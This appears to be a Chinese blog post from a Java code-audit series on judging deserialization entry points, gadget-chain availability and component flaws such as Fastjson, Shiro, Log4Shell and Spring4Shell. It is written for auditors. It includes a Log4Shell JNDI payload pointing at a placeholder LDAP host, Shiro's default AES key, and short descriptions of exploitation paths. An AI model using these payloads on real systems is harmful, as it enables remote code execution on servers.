Java 代码审计实战速查(六):反序列化与组件漏洞

反序列化是 Java 审计里被讲得最多的一类,但大部分文章在讲链子怎么构造。审计场景下不需要那个——审计只需要判断三件事:

1. 有没有入口:外部数据进去了,且真的调用了反序列化
2. 有没有弹药:类路径里有没有可用的 gadget 链
3. 有没有限制:JDK 版本、filter、白名单、加密密钥

三个条件同时成立才是漏洞。缺任何一个,这个点就只是个"可疑写法"。

链子的构造是漏洞利用阶段的事,审计阶段判断的是上面这三个。这一篇讲的是怎么判断。


0x01 找入口:两个搜索词,用途完全不同

这是这一篇最省时间的一条经验。

搜 readObject,会得到两种完全不同的东西:

// 类型一:某个类里定义了这个方法 —— 这是"弹药"
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    in.defaultReadObject();
    // ...
}
// 类型二:某处调用了这个方法 —— 这是"入口"
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();

类型一是 gadget 链的组成部分,commons-collections 里那些著名的类都是这种形态。它不是漏洞入口,你搜到一百个也不代表有问题。

类型二才是入口。ObjectInputStream 被构造出来、并且对可控数据调用了 readObject()。

所以两个搜索词要分开搜,用途不同:

# 找入口:注意后面有括号,是调用
grep -rnE "\.readObject\(\)|\.readUnshared\(\)" --include=*.java .

# 找弹药:注意是方法定义
grep -rnE "void readObject\(ObjectInputStream" --include=*.java .

混在一起搜,结果里 90% 是噪音。

原生入口长什么样

// 形态一:直接从输入流读
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject();

// 形态二:从字节数组读
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
Object obj = ois.readObject();

// 形态三:Base64 解码后读(Shiro 这类)
byte[] bytes = Base64.getDecoder().decode(cookieValue);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
Object obj = ois.readObject();

// 形态四:XMLDecoder
XMLDecoder decoder = new XMLDecoder(inputStream);
Object obj = decoder.readObject();

XMLDecoder 要单独记一笔。它不涉及 ObjectInputStream,但同样是"数据变代码",而且写法很隐蔽:

XMLDecoder decoder = new XMLDecoder(new ByteArrayInputStream(xml.getBytes()));

搜 XMLDecoder 单独搜一次。

数据从哪来

入口找到了,接下来确认数据来源可不可控。常见来源:

HTTP 请求体 / 参数 / Header / Cookie(Base64 后)
RMI 接口的入参
Redis 缓存(JdkSerializationRedisSerializer)
MQ 消息体
Session 共享与复制
文件上传的内容(比如导入一个 .ser 文件)
第三方回调的数据

Redis 那条要专门看一眼 RedisTemplate 的序列化器配置:

template.setValueSerializer(new JdkSerializationRedisSerializer());

用了这个序列化器,缓存里的数据就是 Java 原生序列化格式。如果缓存内容能被写入(比如通过某个把用户输入存缓存的接口),就构成入口。


0x02 组件入口:四个开关

原生反序列化入口在业务代码里其实不多。实际项目里更常见的是组件自带的入口——组件替你完成了反序列化,你要判断的是它有没有被打开。

Fastjson

判断点只有一个:AutoType 有没有被打开。

// 危险:目标类型是 Object
JSON.parseObject(input, Object.class);
JSON.parse(input);

// 危险:显式开启 AutoType
JSON.parseObject(input, Feature.SupportAutoType);
JSON.parseObject(input, Object.class, Feature.SupportAutoType);

// 危险:全局开启,影响所有调用点
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

// 一般不构成漏洞:指定了具体目标类,且未开启 AutoType
JSON.parseObject(input, User.class);

搜的时候看三样:

grep -rn "setAutoTypeSupport\|SupportAutoType" --include=*.java .
grep -rn "parseObject\|JSON\.parse(" --include=*.java .
grep -rn "fastjson" --include=pom.xml .

第三条是确认版本。1.2.25 之后默认关闭了 AutoType,但之后经历了多轮绕过(1.2.41、1.2.42、1.2.43、1.2.45、1.2.47、1.2.62、1.2.66、1.2.68、1.2.80),一直到 1.2.83 才算把这条线收住。所以"默认关闭"不等于安全,得看具体版本和有没有额外的绕过条件。

一个容易被忽略的情况:项目里可能有两个不同版本的 fastjson 同时存在(一个直接依赖,一个来自某个 SDK 的传递依赖)。这种情况下实际加载的是哪一个,要看 mvn dependency:tree。

Jackson

判断点同样只有一个:有没有开多态类型。

// 危险
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Object obj = mapper.readValue(input, Object.class);

// 2.10 之后的等价写法
mapper.activateDefaultTyping(mapper.getPolymorphicTypeValidator(),
                             ObjectMapper.DefaultTyping.NON_FINAL);

不开 defaultTyping 的话,Jackson 的绝大多数历史 CVE 都不成立。这也是第一篇里那个"报了 Jackson 反序列化但不可利用"的例子——项目里所有 JSON 解析都走 SpringMVC 默认的消息转换器,全局搜不到 enableDefaultTyping。

除了全局开关,还有一个注解形式:

public class Order {
    @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
    private Object payload;
}

@JsonTypeInfo 只对单个字段生效,不需要全局开 defaultTyping。这个注解很容易漏,搜的时候要单独加一条:

grep -rn "enableDefaultTyping\|activateDefaultTyping\|@JsonTypeInfo" --include=*.java .

Shiro

Shiro 的入口是 rememberMe cookie,整条链是固定的:

rememberMe cookie
  → CookieRememberMeManager.getRememberedSerializedIdentity()   Base64 解码
  → AbstractRememberMeManager.decrypt()                          AES 解密
  → AbstractRememberMeManager.deserialize()                      ObjectInputStream.readObject()

判断顺序不能颠倒:

第一步:密钥是否可预测
第二步:Shiro 版本(决定有没有 Padding Oracle 这条不需要密钥的路)
第三步:类路径里有没有可用的 gadget 链

第一步是看 AES 密钥。Shiro 1.2.4 及以下把密钥硬编码在 CookieRememberMeManager 里:

private static final byte[] DEFAULT_CIPHER_KEY_BYTES =
        Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

攻击者不需要看你的源码就知道这个值。1.2.5 之后官方改成启动时随机生成,但很多项目会把它写到配置文件里固定下来,或者几个系统复用同一个值。

写在配置文件里的密钥要按"是否可预测"判断,不是按"是不是默认值"判断。 跟项目名、域名相关的、或者全公司复用的字符串,跟默认值一样危险。

第二步是版本。Shiro 1.4.2 之前用的是 AES-CBC,存在 Padding Oracle(Shiro-721),这条路不需要知道密钥,只要有合法的 rememberMe 密文就能一点点构造出 payload。所以老版本 Shiro 即使密钥是随机的,也不能直接判安全。

第三步才轮到链。这一步和下面要讲的普通反序列化判断完全一样。

SnakeYAML 和 XStream

// SnakeYAML
new Yaml().load(userInput);

// XStream
new XStream().fromXML(userInput);

Yaml.load() 会按标签实例化对象,!!javax.script.ScriptEngineManager 这类标签就是利用方式。XStream 同理,fromXML 默认能实例化任意类,1.4.18 之后加了白名单机制。

这两个组件的入口通常出现在"配置导入""数据导入"这类功能里。审计时先确认有没有这类功能,再看用的哪个 API。


0x03 链的可用性:先看 commons-collections

判断链子不需要背全。按这个顺序看就够:

第一,类路径里有没有 commons-collections 3.1 ~ 3.2.1
     有的话 CC1/CC3/CC5/CC6/CC7 一大票链都能用,大概率可打

第二,有没有 commons-beanutils < 1.9.4、commons-collections4、
     groovy < 2.4.4、c3p0、bsh、rome、jython 这些
     这些各自对应一条或几条链

第三,只有 JDK 原生类
     那就需要 JNDI 注入,而且受 JDK 版本限制

第一步能覆盖大部分情况。 老项目里 commons-collections 3.2.1 的出现率高得离谱,因为它经常是别的依赖带进来的,不在 pom.xml 里。所以要查的是 mvn dependency:tree 的输出,不是 pom。

JDK 版本的限制

CC1(AnnotationInvocationHandler)  需要 JDK ≤ 8u71
                                    8u71 之后 readObject 被改写,这条链断了
CC6 / CC7                            不受这个限制,用其他类触发

JNDI + LDAP/RMI 远程加载类           JDK 8u191 / 11.0.1 之后
                                    trustURLCodebase 默认为 false,远程类加载失效
                                    高版本的绕过要么依赖本地 gadget,
                                    要么靠 LDAP 返回 SerializedData

这里有个判断上的坑:很多人看到 JDK 是高版本就直接判"打不了"。 但 JNDI 那条路走不通,不等于所有路都走不通——如果类路径里有 commons-collections,本地链照样能执行命令,根本不需要 JNDI。

反过来说,这也是为什么"目标 JDK 是高版本"不能作为一个降级理由写进报告。


0x04 一次 12 个点的排查

有一次审计,我在一套系统里搜到 12 处和 ObjectInputStream 相关的位置。最后确认可用的只有 1 处。

按类型拆开:

5 处   是类里定义的 private void readObject(ObjectInputStream in)
       这是 gadget 的组成部分,不是入口,最先排除
3 处   读的是本地磁盘上的序列化缓存文件,文件内容由本服务自己写
3 处   读的是 Session / 缓存里的数据,且写入前有签名校验
1 处   入口可控,是 HTTP 接口直接读请求体,但类路径里没有 commons-collections
       也没有其他可用链,判定为"低风险,建议加白名单"
1 处   入口可控 + 有 commons-collections 3.2.1 传递依赖 → 确认漏洞

那 5 处方法定义,是我一开始搜索方式不对带进来的。用 readObject\(ObjectInputStream 搜方法定义、用 \.readObject\(\) 搜调用,两个词分开搜之后,噪音立刻就没了。

那 1 处"入口可控但没有链"的判断也值得一提。报还是不报?我报成了低风险,理由写成"当前依赖下不可利用,但依赖一旦增加就可能被激活"。这类点如果写成高危,甲方来复核的时候会发现打不通,反而影响整份报告的可信度。

反序列化这类漏洞,结论的严谨性比发现本身更重要。 因为它的判断依赖三个条件同时成立,任何一个条件写不清楚,都会被认为是误报。


0x05 组件漏洞看的是前置条件,不是版本号

这是这一篇想说的第二个重点,也正好补上第一篇那张版本对照表没覆盖的部分。

第一篇那张表只说"看到这个版本要警觉"。真正决定是不是漏洞的,是前置条件满不满足。 三个典型例子。

Log4Shell

前置条件:能把可控字符串写进日志。

log.info("user login: {}", username);   // username = ${jndi:ldap://x.x.x.x/a}

这个条件在绝大多数系统里都满足——登录接口、搜索接口、异常处理,随便哪个地方把请求参数记进日志就够。所以 Log4Shell 的判断几乎是纯粹看版本:

log4j-core 2.0-beta9 ~ 2.14.1    CVE-2021-44228
2.15.0                            仍有 CVE-2021-45046
2.16.0                            仍有 CVE-2021-45105
2.17.1 及以上                     完整修复

顺带记一下,${} 的 payload 不止 jndi。${env:}、${sys:}、${java:} 可以用来读环境变量和系统信息,危害小得多但同样是信息泄露;另外 $${...} 这类变体是用来绕 WAF 的。

Spring4Shell

前置条件有三条,缺一不可:

JDK 9 及以上
Spring Framework < 5.3.18 或 < 5.2.20
war 包部署在 Tomcat 上

第三条最关键。Spring Boot 内嵌 Tomcat、打成 jar 部署的项目不满足这个条件。 很多项目看着用 Spring,一看部署方式是 java -jar app.jar,这个漏洞就不成立。

利用方式是参数绑定到 POJO 时通过 class.module.classLoader 一路访问到 Tomcat 的 AccessLogValve,改写日志配置写入文件。

注意是 class.module.classLoader 而不是 class.classLoader。后者在 CVE-2010-1622 之后就被 CachedIntrospectionResults 挡住了;JDK 9 引入 module 之后,原来的拦截逻辑没有覆盖到新的属性路径,于是被绕开。

这就是一个典型的"前置条件比版本号更能决定结论"的例子。 版本对、JDK 对、部署方式不对,照样打不通。

Spring Cloud Gateway

前置条件:/actuator/gateway 端点暴露,且可写。

management.endpoints.web.exposure.include=*

满足的话,通过 actuator 添加一个带 SpEL 表达式的路由 filter,然后刷新路由,触发 parseExpression。这条链子正好把第四篇说的表达式注入和第一篇说的 Actuator 配置连起来了——配置暴露本身不是漏洞,暴露之后能到达表达式解析器才是。

判断顺序

1. 组件版本落在受影响范围
2. 该组件对应的功能在项目里被用到(Log4j 被用来记日志、YAML 被用来解析配置)
3. 触发路径的前置条件满足(部署方式、端点暴露、JDK 版本)
4. 有可控的外部输入能到达触发点

第 2 条经常被跳过。比如报了一个 POI 的 XXE,但项目只做导出不做导入——组件在,功能不在,漏洞就不在。第一篇里那个"23 个漏洞只留 3 个"的例子就是这么排出来的。


0x06 清单

入口
[ ] .readObject() / .readUnshared() 搜调用,不搜方法定义
[ ] XMLDecoder 单独搜一次
[ ] 列出所有入口的数据来源(请求体、Cookie、缓存、MQ、RMI)
[ ] RedisTemplate 的序列化器配置确认
[ ] 自定义 readObject 里的 defaultReadObject 之后有没有额外逻辑

组件开关
[ ] fastjson:setAutoTypeSupport / SupportAutoType / parseObject 目标类型
[ ] fastjson:确认实际加载的版本(dependency:tree,不是 pom)
[ ] Jackson:enableDefaultTyping / activateDefaultTyping / @JsonTypeInfo
[ ] Shiro:密钥是否可预测 → 版本 → 链,三步按顺序
[ ] SnakeYAML / XStream:确认有没有配置导入类功能

链与限制
[ ] commons-collections 是否在依赖树里,版本是多少
[ ] commons-beanutils / groovy / collections4 等次要链
[ ] 目标 JDK 版本,以及它对 CC1、JNDI 的限制
[ ] 有没有 ObjectInputFilter 或自定义 resolveClass 白名单

组件漏洞
[ ] 版本在受影响范围内
[ ] 对应功能在项目里真的被使用
[ ] 前置条件成立:部署方式、端点暴露、JDK 版本
[ ] 有可控输入能到达触发点

下一篇讲认证授权与逻辑漏洞。过滤器和拦截器的执行顺序、路径匹配绕过、Shiro 配置审计、水平与垂直越权,还有动态 SQL 里写错的判断条件。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇